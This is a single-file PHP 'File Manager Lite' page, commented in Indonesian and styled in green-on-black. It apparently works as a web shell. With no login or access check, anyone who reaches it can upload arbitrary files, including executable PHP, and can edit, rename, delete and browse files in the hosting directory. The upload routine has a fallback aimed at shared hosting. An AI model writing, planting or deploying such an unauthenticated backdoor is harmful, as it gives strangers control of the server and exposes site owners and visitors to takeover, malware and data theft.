<?php
/* ===============================
   FILE MANAGER LITE (STABLE)
   =============================== */

error_reporting(E_ALL);
ini_set('display_errors', 1);

/* === TMP LOKAL (MANDIRI) === */
$LOCAL_TMP = __DIR__ . '/tmp';
if (!is_dir($LOCAL_TMP)) {
    @mkdir($LOCAL_TMP, 0755, true);
}
@ini_set('upload_tmp_dir', $LOCAL_TMP);

/* === BASE DIRECTORY (OTOMATIS) === */
// Menggunakan __DIR__ agar otomatis mendeteksi direktori tempat file PHP ini berada
$BASE_DIR = __DIR__;
if (!is_dir($BASE_DIR)) {
    die('Base directory tidak ditemukan');
}

/* === CURRENT DIR (AMAN) === */
$currentDir = $_GET['dir'] ?? $BASE_DIR;
$realBase   = realpath($BASE_DIR);
$realCur    = realpath($currentDir);

if ($realCur === false || strpos($realCur, $realBase) !== 0) {
    $currentDir = $BASE_DIR;
}

/* === ACTION === */
$action  = $_POST['action'] ?? $_GET['action'] ?? '';
$message = '';

/* === HELPER === */
function formatSize($size) {
    $units = ['B','KB','MB','GB'];
    for ($i=0; $size>=1024 && $i<count($units)-1; $i++) {
        $size /= 1024;
    }
    return round($size,2).' '.$units[$i];
}

/* ===============================
   UPLOAD (ANTI SHARED HOSTING)
   =============================== */
if ($action === 'upload' && isset($_FILES['file'])) {

    $f = $_FILES['file'];
    $target = $currentDir . '/' . basename($f['name']);

    if ($f['error'] !== UPLOAD_ERR_OK) {
        $errs = [
            UPLOAD_ERR_INI_SIZE   => 'File terlalu besar (php.ini)',
            UPLOAD_ERR_FORM_SIZE  => 'File terlalu besar (form)',
            UPLOAD_ERR_PARTIAL    => 'Upload terputus',
            UPLOAD_ERR_NO_FILE    => 'Tidak ada file',
            UPLOAD_ERR_NO_TMP_DIR => 'TMP directory tidak ada',
            UPLOAD_ERR_CANT_WRITE => 'Gagal menulis ke disk',
            UPLOAD_ERR_EXTENSION  => 'Diblok extension PHP'
        ];
        $message = 'Upload error: ' . ($errs[$f['error']] ?? 'Unknown');

    } elseif (!is_file($f['tmp_name'])) {
        $message = 'TMP file tidak ditemukan: ' . htmlspecialchars($f['tmp_name']);

    } elseif (@move_uploaded_file($f['tmp_name'], $target)) {
        $message = 'Upload SUCCESS (move_uploaded_file)';

    } elseif (@copy($f['tmp_name'], $target)) {
        $message = 'Upload SUCCESS (fallback copy)';

    } else {
        $message = 'Upload gagal total';
    }
}

/* === DELETE === */
elseif ($action === 'delete' && isset($_GET['item'])) {
    $path = $currentDir . '/' . basename($_GET['item']);
    if (is_file($path)) unlink($path);
    elseif (is_dir($path)) @rmdir($path);
    $message = 'Dihapus: ' . htmlspecialchars($_GET['item']);
}

/* === RENAME === */
elseif ($action === 'rename' && isset($_POST['oldname'], $_POST['newname'])) {
    rename(
        $currentDir.'/'.basename($_POST['oldname']),
        $currentDir.'/'.basename($_POST['newname'])
    );
    $message = 'Rename berhasil';
}

/* === EDIT === */
elseif ($action === 'edit' && isset($_POST['filename'], $_POST['content'])) {
    file_put_contents(
        $currentDir.'/'.basename($_POST['filename']),
        $_POST['content']
    );
    $message = 'File disimpan';
}

/* === LIST FILE === */
$items = scandir($currentDir);
sort($items);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager Lite</title>
<style>
body{background:#000;color:#0f0;font-family:monospace;padding:20px}
a{color:#0f0;text-decoration:none}
.item{display:flex;justify-content:space-between;background:#111;padding:5px;margin:3px 0}
button{background:#000;color:#0f0;border:1px solid #0f0}
textarea{width:100%;height:300px;background:#000;color:#0f0}
</style>
</head>
<body>

<h2>File Manager Lite</h2>
<p><b>Dir:</b> <?=htmlspecialchars($currentDir)?></p>
<p style="color:yellow"><?=htmlspecialchars($message)?></p>

<form method="post" enctype="multipart/form-data">
    <input type="hidden" name="action" value="upload">
    <input type="file" name="file">
    <button>Upload</button>
</form>

<hr>

<?php
if ($currentDir !== $BASE_DIR) {
    echo '<div class="item"><a href="?dir='.urlencode(dirname($currentDir)).'">[..]</a></div>';
}

foreach ($items as $item) {
    if ($item==='.'||$item==='..') continue;
    $path = $currentDir.'/'.$item;
    echo '<div class="item">';
    if (is_dir($path)) {
        echo '<a href="?dir='.urlencode($path).'">'.$item.'/</a>';
    } else {
        echo htmlspecialchars($item).' ('.formatSize(filesize($path)).')';
    }
    echo '<span>';
    if (is_file($path)) {
        echo ' <a href="?dir='.urlencode($currentDir).'&action=editform&item='.urlencode($item).'"><button>Edit</button></a>';
    }
    echo ' <a href="?dir='.urlencode($currentDir).'&action=renameform&item='.urlencode($item).'"><button>Rename</button></a>';
    echo ' <a href="?dir='.urlencode($currentDir).'&action=delete&item='.urlencode($item).'" onclick="return confirm(\'Hapus?\')"><button>Del</button></a>';
    echo '</span></div>';
}

/* === EDIT FORM === */
if ($action==='editform' && isset($_GET['item'])) {
    $f = $currentDir.'/'.basename($_GET['item']);
    if (is_file($f)) {
        echo '<h3>Edit: '.htmlspecialchars($_GET['item']).'</h3>';
        echo '<form method="post">';
        echo '<input type="hidden" name="action" value="edit">';
        echo '<input type="hidden" name="filename" value="'.htmlspecialchars($_GET['item']).'">';
        echo '<textarea name="content">'.htmlspecialchars(file_get_contents($f)).'</textarea>';
        echo '<button>Simpan</button></form>';
    }
}

/* === RENAME FORM === */
if ($action==='renameform' && isset($_GET['item'])) {
    echo '<h3>Rename</h3>';
    echo '<form method="post">';
    echo '<input type="hidden" name="action" value="rename">';
    echo '<input type="hidden" name="oldname" value="'.htmlspecialchars($_GET['item']).'">';
    echo '<input name="newname" value="'.htmlspecialchars($_GET['item']).'">';
    echo '<button>Ganti</button></form>';
}
?>

</body>
</html>